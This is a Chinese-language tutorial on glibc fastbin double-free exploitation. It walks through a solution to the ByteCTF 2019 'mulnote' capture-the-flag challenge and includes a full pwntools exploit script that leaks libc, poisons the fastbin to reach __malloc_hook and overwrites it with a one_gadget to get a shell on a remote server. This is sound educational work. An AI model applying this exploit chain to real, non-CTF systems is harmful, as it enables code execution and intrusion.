pwn学习系列之double free
字数 1211 2025-08-25 22:59:09
Double Free漏洞利用技术详解
一、前置知识
1. malloc_chunk结构
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* 前一个chunk的大小 */
INTERNAL_SIZE_T size; /* 当前chunk的大小 */
struct malloc_chunk *fd; /* 指向前一个释放的chunk */
struct malloc_chunk *bk; /* 指向后一个释放的chunk */
}
2. fastbin回收机制关键点
-
free函数行为:
- 当
chunk_size <= max_fast(默认64B)且chunk不与top chunk相邻时 - chunk会被放入fast bins中
- 释放操作立即完成,程序从free()函数返回
- 当
-
ptmalloc分配响应:
- 首先检查
chunk_size <= max_fast - 如果是,尝试从fast bins中分配所需大小的chunk
- 首先检查
二、Double Free原理
基本概念
Double Free是指堆上的某块内存被释放后,指向该堆块的指针未被清零,导致可以再次对该内存进行free操作。利用此漏洞可以实现任意地址写。
fastbin特性
- 采用LIFO(后进先出)数据结构
- 使用单向链表实现
- 释放的chunk会以单向链表形式回收到fastbin中
三、利用思路
-
基本步骤:
- 对同一块chunk执行两次free
- malloc相同大小的chunk(此时内存仍在fastbin上)
- 修改fd指针指向目标地址
- 再次malloc两次,分配到目标内存区域
-
绕过检查:
- 直接free两次会被操作系统检测到
- 需要伪造一个中间chunk来绕过检查
利用过程图示
- 初始状态:执行三次free后的fastbin链表
- 第一次malloc:获取chunk1
- 修改fd指针:指向目标地址
- 后续malloc:获取目标内存区域
四、实例分析:ByteCTF 2019 Mulnote
1. 题目检查
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
2. 利用步骤
第一步:泄露libc地址
add(0x80, 'abc')
delete(0)
show(0)
p.recvuntil("[*]note[0]:\n")
address = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
libc_Addr = address - (0x7ffff7bb4b78 - 0x7ffff77f0000)
原理:利用unsorted bin特性泄露libc地址
第二步:Double Free利用
add(0x60, '/bin/sh') #1
add(0x60, '/bin/sh') #2
delete(1)
delete(2)
delete(1)
add(0x60, p64(hackadd)) #3
add(0x60, '/bin/sh\x00') #4
add(0x60, p64(hackadd)) #5
add(0x60, 'a'*0xb + 'a'*0x8 + p64(one))
关键点:
- 构造
hackadd = __malloc_hook - 0x20 - 0x3 - 需要确保目标内存区域的size域满足要求
第三步:控制执行流
通过修改__malloc_hook为one_gadget地址获取shell
五、调试技巧
-
内存布局检查:
- 使用gdb检查
__malloc_hook附近的内存区域 - 确保伪造的chunk的size域合法
- 使用gdb检查
-
one_gadget选择:
- 测试不同的one_gadget地址(如0x45216, 0x4526a, 0xf02a4, 0xf1147)
六、完整EXP示例
from pwn import *
#p = process("./mulnote")
p = remote("112.126.101.96", 9999)
a = ELF("./libc.so")
context.log_level = 'debug'
def add(leng, content):
p.recvuntil(">")
p.sendline("C")
p.recvuntil("size>")
p.sendline(str(leng))
p.recvuntil("note>")
p.sendline(content)
def edit(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("C")
p.recvuntil("index>")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("R")
p.recvuntil("index>")
p.sendline(str(idx))
def show(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("S")
add(0x80, 'abc')
#gdb.attach(p,'b *0x5555555558ae')
delete(0)
show(0)
p.recvuntil("[*]note[0]:\n")
address = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
print "address:" + hex(address)
libc_Addr = address - (0x7ffff7bb4b78 - 0x7ffff77f0000)
__malloc_hook = libc_Addr + a.symbols['__malloc_hook']
system = a.symbols['system'] + libc_Addr
print "system :" + hex(system)
#0x7ffff7835390#\0x45216#0x4526a0xf02a4#0xf1147
one = libc_Addr + 0x4526a #0x45216#0x4526a#0xf02a4#0xf1147
hackadd = __malloc_hook - 0x20 - 0x3
add(0x60, '/bin/sh') #1
add(0x60, '/bin/sh') #2
delete(1)
delete(2)
delete(1)
free_got = 0x201F58
bss = 0x202010
add(0x60, p64(hackadd)) #3
add(0x60, '/bin/sh\x00') #4
add(0x60, p64(hackadd)) #5
add(0x60, 'a'*0xb + 'a'*0x8 + p64(one))
#gdb.attach(p)
#add(0x60,'a'*0xb)
p.recvuntil(">")
p.sendline("C")
p.recvuntil("size>")
p.sendline(str(0x60))
p.interactive()
七、学习建议
-
基础知识:
- 仔细阅读《glibc内存管理ptmalloc源代码分析.pdf》
- 深入理解堆管理数据结构
-
实践路线:
- 从fastbin double free开始
- 逐步学习更复杂的堆利用技术(如堆喷、堆风水等)
-
调试技巧:
- 多使用gdb调试
- 观察内存布局变化
- 验证每一步的操作效果
Double Free只是堆漏洞利用的入门技术,后续还有更多高级技术需要学习。扎实的基础知识和充分的实践是掌握堆利用技术的关键。